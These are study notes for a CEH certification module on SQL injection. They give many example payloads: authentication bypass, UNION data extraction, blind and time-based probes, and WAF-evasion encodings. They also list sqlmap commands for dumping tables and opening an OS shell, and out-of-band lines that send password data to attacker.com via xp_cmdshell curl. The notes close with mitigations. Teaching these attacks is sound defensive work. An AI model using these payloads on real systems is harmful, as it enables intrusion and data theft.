

CEHv13 A.I MODULE 15- SQL INJECTION

Notes by VIVEK GOSWAMI

Overview

SQL Injection is one of the most critical web application security vulnerabilities that allows attackers to interfere with the queries that an application makes to its database. It occurs when user input is not properly sanitised before being included in SQL queries, allowing attackers to manipulate database operations. SQL injection can result in unauthorised access to sensitive data, authentication bypass, data modification, and complete database compromise.

What is SQL Injection?

SQL injection intends to reveal or manipulate sensitive information from the database by injecting commands into existing queries. SQL injection exploits vulnerabilities in data-driven applications where user input is incorrectly filtered for string literal escape characters or user input is not strongly typed.

SQL Injection is the placement of malicious code in SQL statement via web-page input. Any website using MySQL or Oracle server can be vulnerable to sql injection. It can lead to:

1. Bypass Authentication
2. Unauthorised Access
3. Executing administrative Operations
4. Deletion, Alteration of Data

SQL (Structured Query Language) Basics

SQL stands for Structured Query Language - a standardized language for managing and manipulating relational databases.

Common SQL Commands:

SELECT: Retrieve data from database

INSERT: Add new data to database

UPDATE: Modify existing data

DELETE: Remove data from database

DROP: Delete tables or databases

UNION: Combine results from multiple queries

Impact of SQL Injection

- Bypassing authentication: Login without valid credentials
- Revealing sensitive information: Access to confidential data
- Compromising data integrity : Unauthorized data modification
- Database deletion : Complete data loss
- Remote code execution : System-level compromise
- Privilege escalation : Gaining administrative access

Types of SQL Injection

1. In-Band SQL Injection

Uses the same communication channel to launch the attack and gather results. This is the most common and straightforward type of SQL injection.

Error-Based SQL Injection

- Server throws database error messages
- Error messages reveal database structure and information
- Useful during development, but should be disabled in production

Example Attack:

sql

-- Original query

SELECT * FROM users WHERE id = '1'

→ Malicious input

1' AND (SELECT COUNT(*) FROM information_schema.tables)=

→ Resulting query (causes error)

SELECT * FROM users WHERE id = '1' AND (SELECT COUNT(*) FROM information_schema.tables)=

Union-Based SQL Injection

Involves the UNION SQL operator to combine results from multiple queries.

In Union SQL Injection attacker use the union operator to combine malicious code in sql query With original query which allow them to extract info from database.

Example Attack:

sql

-- Original query

SELECT name, description FROM products WHERE id = '1'

-- Malicious input

1' UNION SELECT username, password FROM users--

-- Resulting query

```
SELECT name, description FROM products WHERE id = '1' UNION SELECT username,
password FROM users--
'''
```

2. Blind SQL Injection

No data is transferred via the application. Attacker sends payloads and observes the web application's response and behavior to infer information.

Boolean-Based Blind SQL Injection

Sends SQL queries that force the application to return different responses depending on whether the query returns TRUE or FALSE.

Example Attack:

sql

→Test if user 'admin' exists

```
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
```

→Extract password character by character

```
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
'''
```

Time-Based Blind SQL Injection

Forces the database to wait for a specified time before responding. Response time indicates whether the query returned TRUE or FALSE.

Example Attack:

sql

→MySQL time delay

```
1'; IF(1=1, SLEEP(5), 0)--
```

→SQL Server time delay

```
1'; IF(1=1) WAITFOR DELAY '00:00:05'--
```

→PostgreSQL time delay

```
1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END--
'''
```

3. Out-of-Band SQL Injection

Uses different communication channels (DNS, HTTP requests) to retrieve data. Depends on specific database server features and is not very common.

Example Attack:

sql

→ DNS exfiltration (SQL Server)

```
'; EXEC xp_dirtree '//attacker.com/'+@@version+'/--
```

—>HTTP exfiltration

```
'; EXEC xp_cmdshell 'curl http://attacker.com/data='+ (SELECT password FROM users WHERE id=1)--
```

SQL Injection Techniques

Common Injection Points

1. URL Parameters: GET request parameters
2. Form Fields: POST request data
3. HTTP Headers: User-Agent, Cookie, Referer
4. JSON/XML Data: API request bodies
5. File Uploads: Filename parameters
6. Second-Order: Stored data used in subsequent queries

Basic Injection Techniques

1. Authentication Bypass

```
sql
```

```
-- Login form bypass
```

```
username: admin'--
```

```
password: anything
```

```
-- Resulting query
```

```
SELECT * FROM users WHERE username='admin'--' AND password='anything'
```

```
-- Alternative bypasses
```

```
username: admin' OR '1'='1'--
```

```
username: admin' OR 1=1#
```

```
username: ' OR ''=
```

2. Tautology Attacks

Using conditions that are always true (tautologies like "1=1" or "OR 'a'='a'").

```
sql
```

```
-- Always true conditions
```

```
1' OR '1'='1
```

```
1' OR 1=1--
```

```
1' OR 'a'='a'--
```

```
1' OR TRUE--
```

```
-- Extract all records
' UNION SELECT * FROM users WHERE '1'='1
```

3. Comment Injection

Using SQL comments to bypass query logic.

```
sql
-- MySQL/PostgreSQL comments
1'-- comment
1' comment
```

```
-- SQL Server comments
1'/ comment /
```

```
-- Multi-line comments
1'/
multi-line
comment
/
```

4. UNION Attacks

Combining results from multiple queries.

```
sql
-- Determine number of columns
1' ORDER BY 1-- # No error
1' ORDER BY 2-- # No error
1' ORDER BY 3-- # Error (only 2 columns)

-- Extract data
1' UNION SELECT username, password FROM users--
1' UNION SELECT table_name, column_name FROM information_schema.columns--
```

Advanced Injection Techniques

1. Second-Order SQL Injection

```
sql
-- Step 1: Store malicious data
INSERT INTO comments (user_id, comment) VALUES (1, 'admin"--')

-- Step 2: Malicious data used in subsequent query
SELECT * FROM users WHERE username = 'admin'--'
```

2. NoSQL Injection

```
javascript
// MongoDB injection example
// Normal query
db.users.find({username: "admin", password: "password123"})

// Malicious input
username[$ne]=null&password[$ne]=null

// Resulting query
db.users.find({username: {$ne: null}, password: {$ne: null}})
```

3. LDAP Injection

```
bash
Normal LDAP query
(uid=admin)(password=secret)

Malicious input
admin)(amp;password=*)

Resulting query (bypasses password check)
(uid=admin)(amp;password=*)(password=secret))
```

SQL Injection Testing Tools

Automated Tools

SQLMap

The most popular automated SQL injection testing tool.

Basic Usage:

Test a single URL parameter

```
→sqlmap -u "http://target.com/page.php?id=1"
```

Test POST data

```
→sqlmap -u "http://target.com/login.php" --data "username=admin&password=pass"
```

Test from saved request file

```
→sqlmap -r request.txt
```

Specify database management system

```
→sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql
```

Increase verbosity and risk levels

```
→sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3
```

Database Enumeration:

List databases

```
→sqlmap -u "http://target.com/page.php?id=1" --dbs
```

List tables in specific database

```
→sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
```

List columns in specific table

```
→sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
```

Dump table data

```
→sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump
```

Dump specific columns

```
→sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C  
username,password --dump
```

Advanced SQLMap Features:

Batch mode (non-interactive)

```
→sqlmap -u "http://target.com/page.php?id=1" --batch
```

Use proxy

```
→sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
```

Custom User-Agent

```
→sqlmap -u "http://target.com/page.php?id=1" --user-agent="Custom Agent"
```

Cookie-based injection

```
→sqlmap -u "http://target.com/page.php" --cookie="id=1" -p id
```

File operations

```
→sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
```

```
→sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php"
```

```
--file-dest="/var/www/html/shell.php"
```

OS shell

→sqlmap -u "http://target.com/page.php?id=1" --os-shell

SQL shell

→sqlmap -u "http://target.com/page.php?id=1" --sql-shell

NoSQLMap

Tool for NoSQL injection testing.

1. Install NoSQLMap

→git clone https://github.com/codingo/NoSQLMap.git

→cd NoSQLMap

→python nosqlmap.py

Basic usage

→python nosqlmap.py -t http://target.com/login -p username,password

JSON injection

python nosqlmap.py -t http://target.com/api/login -p json --json

jSQL Injection

GUI-based SQL injection tool.

Download and run jSQL

java -jar jsq1-injection-v0.82.jar

Features:

- Multiple database support
- Automatic detection
- File system access
- Shell execution

Manual Testing Tools**Burp Suite****Burp Suite Professional features:**

1. Intruder for automated payload testing
2. Scanner for vulnerability detection
3. Repeater for manual testing
4. SQL injection detection extensions

Burp extensions for SQL injection:

1. SQLiPy Sqlmap Integration
2. CO2 SQL injection testing
3. SQLmap4Burp++

OWASP ZAP

Start ZAP

zap.sh

Active scan for SQL injection

→zap-cli active-scan http://target.com

Spider and scan

→zap-cli spider http://target.com

→zap-cli active-scan http://target.com

Browser Extensions

- HackTools : Browser extension with SQL injection payloads
- Wappalyzer : Technology detection for targeting
- EditThisCookie : Cookie manipulation for injection testing

Manual SQL Injection Testing**Identification Techniques****1. Error-Based Detection**

-- Test for SQL injection by breaking syntax

'

"

,

;

'--

"--

';

";

-- MySQL specific

' OR 1=1#

' OR 1=1--

' UNION SELECT null#

```
-- SQL Server specific
' OR 1=1--
'; EXEC xp_cmdshell('dir')--

-- Oracle specific
' OR 1=1--
' UNION SELECT null FROM dual--

-- PostgreSQL specific
' OR 1=1--
'; DROP TABLE test;--
```

2. Boolean-Based Detection

```
sql
-- True condition (should return data)
1' AND '1'='1

-- False condition (should return no data)
1' AND '1'='2

-- Time-based detection
1'; WAITFOR DELAY '00:00:05'--      # SQL Server
1' AND SLEEP(5)--                  # MySQL
1' AND pg_sleep(5)--                # PostgreSQL
```

Database Fingerprinting

MySQL

```
sql
-- Version detection
' AND @@version LIKE '5%'--
' UNION SELECT @@version,null--

-- Database name
' UNION SELECT database(),null--

-- User information
' UNION SELECT user(),current_user()--

-- Table enumeration
```

```
' UNION SELECT table_name,null FROM information_schema.tables--
```

SQL Server

sql

-- Version detection

```
' AND @@version LIKE 'Microsoft%'--
```

```
' UNION SELECT @@version,null--
```

-- Database name

```
' UNION SELECT db_name(),null--
```

-- User information

```
' UNION SELECT system_user,user_name()--
```

-- Table enumeration

```
' UNION SELECT name,null FROM sys.tables--
```

Oracle

sql

-- Version detection

```
' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE 'Oracle%'--
```

-- Database name

```
' UNION SELECT global_name,null FROM global_name--
```

-- User information

```
' UNION SELECT user,null FROM dual--
```

-- Table enumeration

```
' UNION SELECT table_name,null FROM all_tables--
```

PostgreSQL

sql

-- Version detection

```
' AND version() LIKE 'PostgreSQL%'--
```

-- Database name

```
' UNION SELECT current_database(),null--
```

-- User information

```
' UNION SELECT current_user,session_user--
```

```
-- Table enumeration
' UNION SELECT tablename,null FROM pg_tables--
```

Data Extraction Techniques

String Functions

```
```sql
-- Substring extraction (MySQL)
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

-- Character extraction (SQL Server)
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

-- ASCII value comparison
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE
username='admin')>64--
```

### Conditional Statements

```
sql
-- MySQL
' AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)--

-- SQL Server
' AND IF((SELECT COUNT(*) FROM users)>0) WAITFOR DELAY '00:00:05'--

-- PostgreSQL
' AND (SELECT CASE WHEN COUNT(*)>0 THEN pg_sleep(5) ELSE 0 END FROM
users)::int--
```

## Advanced SQL Injection Techniques

### WAF Evasion Techniques

#### 1. Encoding and Obfuscation

```
sql
-- URL encoding
%27%20OR%201=1--

-- Double URL encoding
%2527%2520OR%25201=1--
```

-- Unicode encoding

\u0027 OR 1=1--

-- Hex encoding

0x27204f5220313d312d2d

-- HTML entity encoding

&#x27; OR 1=1--

...

## 2. Case Variation

```sql

-- Mixed case

' Or 1=1--

' oR 1=1--

' UnloN sElEcT--

...

3. Comment Variations

```sql

-- MySQL comments

' /OR/ /1=1--

'\*!OR\*/1=1--

'\*! OR \*/1=1--

-- Multiple comment styles

'--+OR+1=1--

'#OR 1=1#

'/\*OR 1=1\*/--

...

## 4. Function Variations

```sql

-- Space replacement

'+OR+1=1--

' /OR/ /1=1--

'%0aOR%0a1=1--

COUNTERMEASURES AND MITIGATION

Input Validation and Sanitization

- Properly validate user inputs to accept only expected types, formats, and lengths, reducing the risk of malicious inputs being processed.
- Sanitize inputs by removing or encoding special characters that might be interpreted as executable code by SQL engines. This reduces injection opportunity.

Use of Parameterized Queries and Prepared Statements

- Implement parameterized queries or prepared statements where the SQL query structure and user inputs are kept separate.
- This separation ensures that user inputs are treated strictly as data, not executable SQL code, preventing attackers from injecting malicious commands.

Stored Procedures

- Use stored procedures with parameterized inputs to encapsulate SQL logic on the database side.
- Properly implemented stored procedures mitigate injection risks in dynamic SQL execution by avoiding direct injection of user input into SQL queries.

Principle of Least Privilege

- Database users and applications should be assigned the minimum necessary privileges to reduce damage if an injection attack succeeds.
- Restricting access minimizes the potential impact and limits unauthorized actions on the database.

Web Application Firewalls (WAF)

- Deploy WAFs to detect and block suspicious SQL injection attempts in incoming HTTP requests.
- WAFs use pattern matching, signature rules, and deep packet inspection to filter out malicious requests containing SQL injection payloads.

Continuous Scanning and Penetration Testing

- Regularly audit and test the application with automated vulnerability scanners and manual penetration testing.
- Early detection through testing helps identify injection points and remediation effectiveness.